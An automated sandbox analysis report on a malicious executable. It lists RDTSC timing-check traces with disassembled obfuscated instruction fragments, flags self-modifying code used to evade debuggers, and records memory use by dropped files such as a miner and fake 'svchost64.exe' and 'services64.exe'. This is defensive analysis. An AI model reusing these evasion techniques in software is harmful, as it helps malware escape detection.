Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50233 second address: 4C5025E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF624B4E7E5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5037A second address: 4C5037E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5037E second address: 4C50384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50384 second address: 4C5038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5038A second address: 4C5038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5038E second address: 4C503CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75308h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b or edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007FF624C75300h 0x00000013 test edx, 61000000h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C503CB second address: 4C503CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C503CF second address: 4C503D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40787 second address: 4C4078D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4078D second address: 4C40791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40791 second address: 4C407BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF624B4E7E5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407BE second address: 4C407C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407C4 second address: 4C407C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407C8 second address: 4C407CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C407CC second address: 4C40830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF624B4E7E6h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov ch, CDh 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007FF624B4E7E5h 0x0000001a and esp, FFFFFFF8h 0x0000001d jmp 00007FF624B4E7DEh 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 push ecx 0x00000025 pushad 0x00000026 popad 0x00000027 pop edx 0x00000028 movzx esi, dx 0x0000002b popad 0x0000002c push eax 0x0000002d pushad 0x0000002e mov ebx, ecx 0x00000030 mov dl, al 0x00000032 popad 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov bl, cl 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40830 second address: 4C40854 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40854 second address: 4C40858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40858 second address: 4C4085E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4085E second address: 4C4089A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ah 0x00000005 pushfd 0x00000006 jmp 00007FF624B4E7DDh 0x0000000b adc cx, F436h 0x00000010 jmp 00007FF624B4E7E1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF624B4E7DCh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4089A second address: 4C408C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF624C75305h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C408C1 second address: 4C40995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d call 00007FF624B4E7DCh 0x00000012 mov ecx, 6C189271h 0x00000017 pop ecx 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b pop ecx 0x0000001c popad 0x0000001d mov ebx, 00000000h 0x00000022 jmp 00007FF624B4E7E4h 0x00000027 test esi, esi 0x00000029 pushad 0x0000002a movzx ecx, dx 0x0000002d call 00007FF624B4E7E3h 0x00000032 pushfd 0x00000033 jmp 00007FF624B4E7E8h 0x00000038 or cx, FC08h 0x0000003d jmp 00007FF624B4E7DBh 0x00000042 popfd 0x00000043 pop esi 0x00000044 popad 0x00000045 je 00007FF696E34215h 0x0000004b pushad 0x0000004c mov di, 7738h 0x00000050 mov cx, bx 0x00000053 popad 0x00000054 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e pushfd 0x0000005f jmp 00007FF624B4E7DBh 0x00000064 add ecx, 0AFAECFEh 0x0000006a jmp 00007FF624B4E7E9h 0x0000006f popfd 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40995 second address: 4C40A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF624C752FCh 0x00000012 adc eax, 21847328h 0x00000018 jmp 00007FF624C752FBh 0x0000001d popfd 0x0000001e push ecx 0x0000001f mov ax, di 0x00000022 pop ebx 0x00000023 popad 0x00000024 je 00007FF696F5ACC7h 0x0000002a jmp 00007FF624C752FEh 0x0000002f test byte ptr [76FB6968h], 00000002h 0x00000036 pushad 0x00000037 mov ax, 485Dh 0x0000003b mov bx, ax 0x0000003e popad 0x0000003f jne 00007FF696F5ACB6h 0x00000045 jmp 00007FF624C75304h 0x0000004a mov edx, dword ptr [ebp+0Ch] 0x0000004d jmp 00007FF624C75300h 0x00000052 xchg eax, ebx 0x00000053 pushad 0x00000054 mov bh, ah 0x00000056 pushad 0x00000057 pushfd 0x00000058 jmp 00007FF624C75309h 0x0000005d or esi, 1EA724B6h 0x00000063 jmp 00007FF624C75301h 0x00000068 popfd 0x00000069 mov cx, 0AA7h 0x0000006d popad 0x0000006e popad 0x0000006f push eax 0x00000070 pushad 0x00000071 movsx ebx, si 0x00000074 mov edx, ecx 0x00000076 popad 0x00000077 xchg eax, ebx 0x00000078 jmp 00007FF624C752FEh 0x0000007d xchg eax, ebx 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007FF624C75307h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40A91 second address: 4C40ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF624B4E7DFh 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF624B4E7E1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40ABD second address: 4C40B05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FF624C752FEh 0x0000000f push dword ptr [ebp+14h] 0x00000012 jmp 00007FF624C75300h 0x00000017 push dword ptr [ebp+10h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FF624C752FAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40B05 second address: 4C40B0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40B26 second address: 4C40B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushfd 0x00000008 jmp 00007FF624C75306h 0x0000000d add esi, 62094E18h 0x00000013 jmp 00007FF624C752FBh 0x00000018 popfd 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40B56 second address: 4C40B9E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF624B4E7E8h 0x00000008 and ecx, 1545B878h 0x0000000e jmp 00007FF624B4E7DBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF624B4E7E5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40B9E second address: 4C40C18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 98A2h 0x00000007 pushfd 0x00000008 jmp 00007FF624C75303h 0x0000000d sbb ah, FFFFFF9Eh 0x00000010 jmp 00007FF624C75309h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebx 0x0000001a jmp 00007FF624C752FEh 0x0000001f mov esp, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FF624C752FDh 0x0000002a sbb ax, 3E86h 0x0000002f jmp 00007FF624C75301h 0x00000034 popfd 0x00000035 mov ecx, 210AEC37h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DB3 second address: 4C50DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DB8 second address: 4C50DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DBE second address: 4C50DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DC2 second address: 4C50E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov si, 9923h 0x00000011 pushad 0x00000012 mov bx, si 0x00000015 pushfd 0x00000016 jmp 00007FF624C75302h 0x0000001b adc al, 00000068h 0x0000001e jmp 00007FF624C752FBh 0x00000023 popfd 0x00000024 popad 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E16 second address: 4C50E1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E1C second address: 4C50E38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C75308h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E38 second address: 4C50E61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF624B4E7E5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E61 second address: 4C50E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C752FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50BE0 second address: 4C50BE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50BE6 second address: 4C50C0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 mov bx, 5CC2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF624C75304h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05E0 second address: 4CC05E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC05E6 second address: 4CC068C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ecx, ebx 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FF624C75304h 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FF624C752FEh 0x0000001e jmp 00007FF624C75305h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007FF624C75300h 0x0000002a jmp 00007FF624C75305h 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 jmp 00007FF624C752FEh 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FF624C75307h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC068C second address: 4CC0692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0692 second address: 4CC0696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0696 second address: 4CC069A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03C4 second address: 4CC044C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF624C752FFh 0x00000009 or esi, 5D9865EEh 0x0000000f jmp 00007FF624C75309h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FF624C75300h 0x0000001b or si, C568h 0x00000020 jmp 00007FF624C752FBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a jmp 00007FF624C75306h 0x0000002f mov ebp, esp 0x00000031 jmp 00007FF624C75300h 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC044C second address: 4CC0469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601EC second address: 4C601F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601F2 second address: 4C601F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601F8 second address: 4C601FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C601FC second address: 4C60236 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF624B4E7E7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60236 second address: 4C6025C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 movzx eax, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF624C75306h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6025C second address: 4C6027F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FF624B4E7DBh 0x00000012 pop eax 0x00000013 movsx edx, ax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC08DC second address: 4CC091C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+0Ch] 0x0000000d pushad 0x0000000e mov edi, 42074EF8h 0x00000013 call 00007FF624C75301h 0x00000018 call 00007FF624C75300h 0x0000001d pop ecx 0x0000001e pop ebx 0x0000001f popad 0x00000020 push dword ptr [ebp+08h] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC091C second address: 4CC0931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624B4E7E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0931 second address: 4CC096B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FF624C752F9h 0x0000000d jmp 00007FF624C752FDh 0x00000012 push eax 0x00000013 jmp 00007FF624C75301h 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC096B second address: 4CC096F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC096F second address: 4CC0975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0975 second address: 4CC09DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FF624B4E7DAh 0x00000014 or ecx, 6A234FA8h 0x0000001a jmp 00007FF624B4E7DBh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FF624B4E7E8h 0x00000026 adc ecx, 2A5FC208h 0x0000002c jmp 00007FF624B4E7DBh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70598 second address: 4C70612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushfd 0x00000006 jmp 00007FF624C752FBh 0x0000000b or ax, 51EEh 0x00000010 jmp 00007FF624C75309h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b mov al, dh 0x0000001d movzx esi, di 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 jmp 00007FF624C752FBh 0x00000027 mov ebp, esp 0x00000029 jmp 00007FF624C75306h 0x0000002e push FFFFFFFEh 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FF624C75307h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70612 second address: 4C7069B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FF624B4E7D9h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF624B4E7DCh 0x00000015 or si, 5888h 0x0000001a jmp 00007FF624B4E7DBh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FF624B4E7E8h 0x00000026 sbb si, BAE8h 0x0000002b jmp 00007FF624B4E7DBh 0x00000030 popfd 0x00000031 popad 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 jmp 00007FF624B4E7E2h 0x0000003b mov edx, esi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7069B second address: 4C70756 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e mov si, dx 0x00000011 mov bh, 12h 0x00000013 popad 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 mov edx, 38A5083Eh 0x0000001c pushfd 0x0000001d jmp 00007FF624C752FFh 0x00000022 or ah, FFFFFFEEh 0x00000025 jmp 00007FF624C75309h 0x0000002a popfd 0x0000002b popad 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 jmp 00007FF624C75301h 0x00000035 pop eax 0x00000036 pushad 0x00000037 call 00007FF624C752FCh 0x0000003c call 00007FF624C75302h 0x00000041 pop ecx 0x00000042 pop edx 0x00000043 mov di, si 0x00000046 popad 0x00000047 call 00007FF624C752F9h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FF624C75309h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70756 second address: 4C70766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624B4E7DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70766 second address: 4C707AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF624C75309h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF624C75303h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C707AC second address: 4C707B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9CED45 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B7000E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B70386 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B97678 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B75F1A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BF1ABC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: C8ED45 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: E3000E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: E30386 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: E57678 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: E35F1A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: EB1ABC instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Memory allocated: 850000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Memory allocated: 1B410000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Memory allocated: 850000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Memory allocated: 1AFA0000 memory reserve \| memory write watch
Source: C:\Windows\System32\services64.exe	Memory allocated: 17C0000 memory reserve \| memory write watch
Source: C:\Windows\System32\services64.exe	Memory allocated: 1B8B0000 memory reserve \| memory write watch
Source: C:\Windows\System32\services64.exe	Memory allocated: C60000 memory reserve \| memory write watch
Source: C:\Windows\System32\services64.exe	Memory allocated: 1B3C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Memory allocated: 2ED0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Memory allocated: 1B5C0000 memory reserve \| memory write watch
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	Memory allocated: CA0000 memory reserve \| memory write watch
